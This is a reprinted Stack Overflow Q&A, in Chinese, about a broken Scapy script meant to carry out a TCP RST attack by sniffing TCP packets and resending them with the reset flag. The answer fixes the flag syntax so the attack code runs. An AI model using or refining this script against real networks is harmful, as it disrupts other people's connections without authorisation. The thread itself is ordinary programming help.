gpt4 book ai didi

python - Scapy TCP RST 攻击

转载 作者:可可西里 更新时间:2023-11-01 02:33:44 24 4
gpt4 key购买 nike

我尝试用 Scapy 编写 TCP RST 攻击,但我的代码不起作用。请帮我解决我的问题。

     from scapy.all import *

def poison(packet):
packet[TCP].flags='RST'
sendp(packet)

sniff(filter='tcp',prn=poison)

flags 有问题,我想。有一个错误:

Traceback (most recent call last):
File "Univer.py", line 6, in sniff(filter='tcp',prn=poison)
File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 559, in sniff r = prn(p)
File "Univer.py", line 3, in poison packet[TCP].flags='RST'
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 186, in setattr self.setfieldval(attr,val)
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 175, in setfieldval self.fields[attr] = any2i(self, val)
File "/usr/lib/pymodules/python2.6/scapy/fields.py", line 785, in any2i y |= 1 << self.names.index(i)

ValueError: substring not found

最佳答案

在 Scapy 中设置 TCP 标志的正确方法是使用短(一个字母)形式 packet[TCP].flags = 'R'。使用 Scapy 的当前开发版本,您可以使用 ls() 获取接受的标志:

>>> ls(TCP, verbose=True)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField (4 bits) = (None)
reserved : BitField (3 bits) = (0)
flags : FlagsField (9 bits) = (2)
F, S, R, P, A, U, E, C, N
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})

关于python - Scapy TCP RST 攻击,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/37639137/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com